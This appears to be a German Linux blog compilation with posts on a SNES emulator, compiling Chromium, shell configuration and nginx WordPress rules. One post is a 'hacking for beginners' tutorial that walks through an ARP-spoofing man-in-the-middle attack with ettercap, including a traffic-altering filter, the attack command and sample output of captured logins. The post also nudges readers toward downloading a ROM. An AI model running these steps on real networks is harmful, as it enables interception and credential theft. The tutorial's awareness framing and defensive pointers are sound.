Super Nintendo Emulator für Ubuntu

Wer vor einiger Zeit auch “Secret of Evermore” gespielt hat dürfe sich bei dem folgendem Bild an ein wirklich gutes Rollenspiel erinnern…



Bildschirmfoto-ZSNES
Bildschirmfoto-ZSNES



… wenn du das Spiel noch einmal spielen willst und dann (so wie ich) mitbekommst, dass dein alter Super Nintendo schon vor Jahren verschenkt wurde, (böse Eltern ^^) dann installiere dir einfach  ZSNES.:

sudo aptitude install zsnes


Nun müssen wir noch das Spiel herunterladen, dabei ist uns nun Google behilflich.

->  einfach mal nach “Secret of Evermore (G)” suchen ;-)



SNES

Um das Feeling zu verbessern, findest du in einschlägigen Online-Shops das “Gamepad Pro”. Sobald du das Gamepad angeschlossen hast  kannst du diesen mit dem folgendem Programm kalibrieren und testen. – joystick

Chromium mit gcc-4.5 bauen

Heute zeige ich wie du Chromium mit gcc-4.5 bauen kannst und den Browser somit ein wenig optimieren kannst.


Root-Rechte beschaffen…
sudo su
…nun fügen wie die aktuellen Chromium-Quellen in unser System ein:
add-apt-repository ppa:chromium-daily/ppa && apt-get update
(ls -al /etc/apt/sources.list.d/chromium-daily-ppa*)
Optional: Wer nun bereits die aktuelle Chromium-Version installieren möchte, kann dies mit folgendem Befehl bewerkstelligen.
sudo aptitude install chromium-browser chromium-browser-l10n chromium-codecs-ffmpeg-extra
Nun installieren wir einige Liberiers und Werkzeuge um Chromium per gcc-4.5 kompilieren zu können.
aptitude install g++-4.5 hardening-wrapper libbz2-dev lzma-dev libhunspell-dev libsqlite3-dev libxss-dev libgnome-keyring-dev gyp
(ggf. wirst du im laufe der Kompilierung aufgefordert noch weitere Liberiers nach zu installieren)
Als nächstes erstellen wir einen neues Verzeichnis…
cd /usr/src
mkdir chromium
cd chromium
… in diesem Verzeichnis, laden wir mit folgenden Befehlen die aktuellen Chromium-Browser-Quellen.
apt-get source chromium-browser
bzr get https://code.launchpad.net/~chromium-team/chromium-browser/chromium-browser.head
Wechseln nun in folgendes Verzeichnis und kopieren ggf. die neuen Konfigurationen hinzu…
cd chromium-browser-*
cp -pvr ../chromium-browser.head/ .
… nun müssen wir noch einige Änderungen / Optimierungen vornehmen, dazu editieren wir folgende Datei:
(dabei sollte man beachten, dass nicht alle CPUs “SSE2” unterstützen)
vim debian/rules
———————————————————-
54c54
< GYP_DEFINES = disable_sse2=1
> #GYP_DEFINES = disable_sse2=1
59a60,62
> # Enable gcc4.5
> GYP_DEFINES=’werror=’
>
119d121
< # Set this to use gcc 4.3 instead of 4.4
122,127d123
<
< ifeq (1/4.4,$(AVOID_GCC_44)/$(CC_VERSION))
< CC  := gcc-4.3
< CXX := g++-4.3
< BUILD_ARGS += CC=$(CC) CXX=$(CXX) CC.host=$(CC) CXX.host=$(CXX)
< endif
129,131c125,130
< ifeq (4.4,$(CC_VERSION))
< GYP_DEFINES += no_strict_aliasing=1 gcc_version=44
< endif
> # gcc-4.5
> CC  := gcc-4.5
> CXX := g++-4.5
> BUILD_ARGS += CC=$(CC) CXX=$(CXX) CC.host=$(CC) CXX.host=$(CXX)
> CFLAGS += -O3
> GYP_DEFINES += no_strict_aliasing=1 gcc_version=45 linux_strip_binary=1 remove_webcore_debug_symbols=1
182c181
< USE_SYSTEM_SQLITE := 0
> USE_SYSTEM_SQLITE := 1
186c185
< GYP_DEFINES += use_system_zlib=0
> GYP_DEFINES += use_system_zlib=1
192,197c191,206
< use_system_bzip2=1 \
< use_system_libjpeg=1 \
< use_system_libpng=1 \
< use_system_sqlite=$(USE_SYSTEM_SQLITE) \
< use_system_libxml=0 \
< use_system_libxslt=1 \
>         gcc_version=45 \
>         no_strict_aliasing=1 \
>         use_system_sqlite=$(USE_SYSTEM_SQLITE) \
>         use_system_libxml=0 \
>         use_system_libxslt=1 \
>         use_system_ffmpeg=1 \
>         proprietary_codecs=1 \
>         use_system_libjpeg=1 \
>         use_system_libxslt=1 \
>         use_system_libxml=1 \
>         use_system_bzip2=1 \
>         use_system_zlib=1 \
>         use_system_libpng=1 \
>         use_system_yasm=1 \
>         use_system_libevent=1 \
>         use_system_ssl=0 \
270c279
< rm -f $(subst_files)
> rm -f $(subst_files) *.cdbs-config_list
———————————————————-
Als nächstes ändern wir noch folgende Datei…
vim debian/control
———————————————————-
15c15
< g++-4.3 | g++-4.2,
> g++-4.5,
———————————————————-
Nun können wir aus diesen Quellen eine neue “.deb”-Datei bauen. :-)
export DEBFULLNAME='chromium-browser';export DEBEMAIL='deine@mail-adresse.de';debuild -i -us -uc
Auf meinem Netbook hat dieser Vorgang zirka 4 Stunden gedauert und schon hat man Chromium neu gebaut ;-) und kann diesen per dpkg installieren.
cd ..
dpkg -i *.deb


Hier noch meine Version: http://drop.io/wbrejzv


Wenn noch jemand Erfahrungen mit dem kompilieren von Programmen hat und mir diesbezüglich (Chromium – Optimierung) noch weitere Tipps geben kann, wäre ich euch sehr dankbar.


PS: Wer Chrom / Chromium unter Windows nutzen möchte, solle sich einmal SRWare Iron anschauen.

Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO “server”

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


[stextbox id=”info”]Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)[/stextbox]


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


[stextbox id=”info”]Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.[/stextbox]


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103” und die Netzmaske “255.255.255.0” daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


[stextbox id=”info”]Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.[/stextbox]


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “Man In The Middle” Taktik angewandt.


[stextbox id=”info”]Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.[/stextbox]


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


[stextbox id=”info”]Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.[/stextbox]



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-

.zshrc

Die Z-Shell ist eine alternative Shell, welche voll konfigurierbar ist. In erster Linie habe ich die Einstellungen in der “~/.zshrc”-Datei vorgenommen. Wer lieber die Bash verwendet, kann hier meine .bashrc finden.

 

Z-Shell installieren:

sudo aptitude install zsh

 

Z-Shell ausprobieren:

zsh

 

Standardmäßig die Z-Shell verwenden:

sudo chsh -s /usr/bin/zsh `whoami`

 

Download:

https://github.com/voku/dotfiles/blob/master/.zshrc

 

Wenn du einige Funktionen und Einstellungen von meiner .zshrc übernehmen möchtest, musst du ggf. vorher folgende Befehle ausführen.

mkdir -p ~/.zsh/cache

 

Und falls du deine alte History verwenden möchtest, auch noch diese Befehle.
cp -pv ~/.bash_history ~/.zsh_history

 

Um einige Funktionen der Zsh zu zeigen, habe ich ein kleines Video per “recordmydesktop” aufgenommen. Die Zsh hat eine sehr ausgeprägte Autovervollständigung (einfach mal <TAB> drücken), welche man bis ins kleinste per .zshrc einstellen kann.

 

Zum Schluss noch zwei hilfreiche Links zum Thema: zsh

burnachurch.com/318/zsh-die-bessere-shell

wiki.ubuntuusers.de/zsh

Glückskekse in der Muschel

Wer bei jedem Login in der bash einen Glückskeks-Spruch lesen will, kann mit folgendem Befehl Glückskeks installieren…

aptitude install fortunes fortunes-de

… nun müssen dies wir nur noch in der ~/.bashrc Datei einfügen:

# Sprueche in der bash
if [ -f /usr/games/fortune ]; then
        /usr/games/fortune
fi

 

z.B.:

Ein Theologe diskutiert mit einer Architektin:Er: Ich weiß nicht, warum Sie sich aufregen. Gott hat doch zuerst denMann gebaut und dann die Frau. Die Reihenfolge wäre damit dochgeregelt.Sie: Ja, ich mache auch immer zuerst eine Skizze.

SSH-Hostnamen vervollständigen

Bereits vor einiger Zeit habe ich beschrieben, wie du die “bash” (Standard-Shell) an deine Bedürfnisse anpassen kannst. Heute zeige ich noch einen kleinen Trick, um Hostnamen im ssh-Befehl zu vervollständigen.

complete -W "host1 host2 host3" ssh


Um den Befehl im der bash einzubinden, schreiben wir diesen in die ~/.bashrc Datei und lagern die Hostnamen (pro Zeile – einen Hostname) in einer Datei aus, so dass wir diese ggf. schnell ergänzen können.

vim ~/.ssh/hosts
vim ~/.bashrc
complete -W "$(<~/.ssh/hosts)" ssh


Als alternative Shell sollte man sich auch einmal “zsh” anschauen. :-)

Sicherheitswarnung per Mail

Wer über die neusten Sicherheitswarnung / Sicherheitslücken informiert werden möchte, findet unter den folgenden beiden Links Mail-Verteiler von CERT.


– Technische Warnungen von Software (Google Chrome, uTorrent, phpMyAdmin etc.)

Warn- & Informationsdienste für Server (VMWare ESX, Linux Kernel XFS, sudo etc.)


Wer über spezielle Software-Updates informiert werden will, kann auf www.computerbase.de eine E-Mail-Benachrichtigung z.B. für den “Apache Web-Server”, “ClamAV” und viele weitere aktivieren, dies müssen natürlich nicht immer Sicherheitskritische Updates sein.


Und wer über aktuellen Sicherheitsmeldungen der wichtigsten Distributionen informiert werden will, findet diese Infos auf www.pro-linux.de/sicherheit/ (auch per E-Mail).






Technische Warnungen




ecobutton unter Ubuntu

Da es immer mehr dieser “USB-Gadgets” gibt, ist mir heute auch so ein Gerät in die Hände gefallen. :-) Mit dem ecobutton soll man seinen PC schneller in den Energiesparmodus versetzten.



ecobutton
ecobutton



1.) Terminal öffnen und den User (in diesem Beispiel – “lars”) das Recht geben, ohne Passwort den PC in den Ruhezustand zu versetzten…

sudo bash
echo "lars ALL=NOPASSWD: /usr/sbin/pm-hibernate" >> /etc/sudoers

2.) Da der ecobutton laut Verpackung nur unter Windows läuft, fügen wir folgende Tastenkombination hinzu…

“System” -> “Einstellungen” -> “Tastenkombinationen” -> “Hinzufügen”

Name: ecobutton

Befehl: sudo pm-hibernate

Tastenkombinationen: Win + R


wiki.ubuntuusers.de/sudo/Konfiguration

wiki.ubuntuusers.de/pm-utils

Nginx + WordPress

Ich habe bereits in einem vorherigem Blog-Post erklärt, wie du “Nginx” (Webserver) unter Debian und / oder Ubuntu installierst. Heute zeige ich mit einigen Beispielen, wie du Nginx konfigurierst, diese Einstellungen werden in dem entsprechendem “Virtual Host” (/etc/nginx/sites-enabled/*.conf) durchgeführt.

## Slash am Ende anfuegen
if ($request_uri ~* "^[\w\-\/]+[^\/?]$") {
    rewrite ^(.*)$ $scheme://$host$1/ permanent;
}
## entferne doppel-slashes //
if ($request_uri ~* "\/\/") {
    rewrite ^/(.*) $scheme://$host/$1 permanent;
}
## www eifuegen
if ($host !~* ^(www|subdomain)) {
    rewrite ^/(.*)$ $scheme://www.$host/$1 permanent;
}
## www vorne entfernen
if ($host ~* ^www\.(.*)) {
    set $host_without_www $1;
    rewrite ^(.*)$ http://$host_without_www$1 permanent;
}
## immer SSL verwenden
    rewrite ^(.*) https://$server_name$1 permanent;
## immer HTTP verwenden
    rewrite ^(.*) http://$server_name$1 permanent;
## WordPress3
if (!-e $request_filename) {
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
## WordPress3 MU
if (!-e $request_filename) {
    rewrite ^.+/?(/wp-.*) $1 last;
    rewrite ^.+/?(/.*\.php)$ $1 last;
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
## WordPress3 Multi-Domain
rewrite ^.*/files/(.*)$ /wp-includes/ms-files.php?file=$1 last;
if (!-e $request_filename) {
    rewrite ^.+/?(/ms-.*) $1 last;
    rewrite ^/files/(.+) /wp-includes/ms-files.php?file=$1 last;
    rewrite ^.+/?(/wp-.*) $1 last;
    rewrite ^.+/?(/.*.php)$ $1 last;
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
    access_log off;
    expires max;
    root /var/www/www.domain.de/web/;
    rewrite ^/.(/wp-.*/.*.(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$ $1 last;
    rewrite ^.*/files/(.*(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$ /wp-includes/ms-files.php?file=$1 last;
    if (!-e $request_filename) {
        rewrite ^.+/?(/wp-.*) $1 last;
        rewrite ^.+/?(/.*.php)$ $1 last;
        rewrite ^(.+)$ /index.php?q=$1 last;
        access_log off;
        expires max;
        break;
    }
}
## WordPress-Forum
if (!-e $request_filename) {
    rewrite ^/forums/topic/(.*)$ /forums/topic.php?q=$1 last;
    rewrite ^/forums/forum/(.*)$ /forums/forum.php?q=$1 last;
    rewrite ^/forums/profile/(.*)$ /forums/profile.php?q=$1 last;
    rewrite ^/forums/view/(.*)$ /forums/view.php?q=$1 last;
    rewrite ^/forums/tags/(.*)$ /forums/tags.php?q=$1 last;
    rewrite ^/forums/rss/(.*)$ /forums/rss.php?q=$1 last;
    rewrite ^/forums/bb-admin/ /forums/bb-admin/index.php last;
    rewrite ^/forums/ /forums/index.php last;
    break;
}
## Feedburner
if ($http_user_agent !~ FeedBurner) {
    rewrite ^/comment/feed/?$ http://feeds.feedburner.com/domain last;
    rewrite ^/feed/?$ http://feeds.feedburner.com/domain last;
}
## WordPress W3 Total Cache
set $totalcache_file '';
set $totalcache_uri $request_uri;
if ($request_method = POST) {
    set $totalcache_uri '';
}
if ($query_string) {
    set $totalcache_uri '';
}
if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
    set $totalcache_uri '';
}
if ($totalcache_uri ~ ^(.+)$) {
    set $totalcache_file /wp-content/w3tc-$http_host/pgcache/$1/_default_.html;
}
if (-f $document_root$totalcache_file) {
    rewrite ^(.*)$ $totalcache_file break;
}

ggf. kann man auch gzip-Dateien ausgeben lassen: set $totalcache_file /wp-content/w3tc$http_host/pgcache/$1/_default_.html.gzip;

## WordPress SuperCache
set $supercache_file '';
set $supercache_uri $request_uri;
if ($request_method = POST) {
    set $supercache_uri '';
}
if ($query_string) {
    set $supercache_uri '';
}
if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
    set $supercache_uri '';
}
if ($supercache_uri ~ ^(.+)$) {
    set $supercache_file /wp-content/cache/supercache/$http_host/$1index.html;
}
if (-f $document_root$supercache_file) {
    rewrite ^(.*)$ $supercache_file break;
}
if (!-e $request_filename) {
    rewrite . /index.php last;
}
location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
    access_log off;
    expires max;
    root /var/www/www.domain.de/web/;
}
## .htaccess & .htpassword sperren
location ~ /\.ht {
    deny  all;
}


Weitere Infos findest du im Wiki von nginx: wiki.nginx.org/Wordpress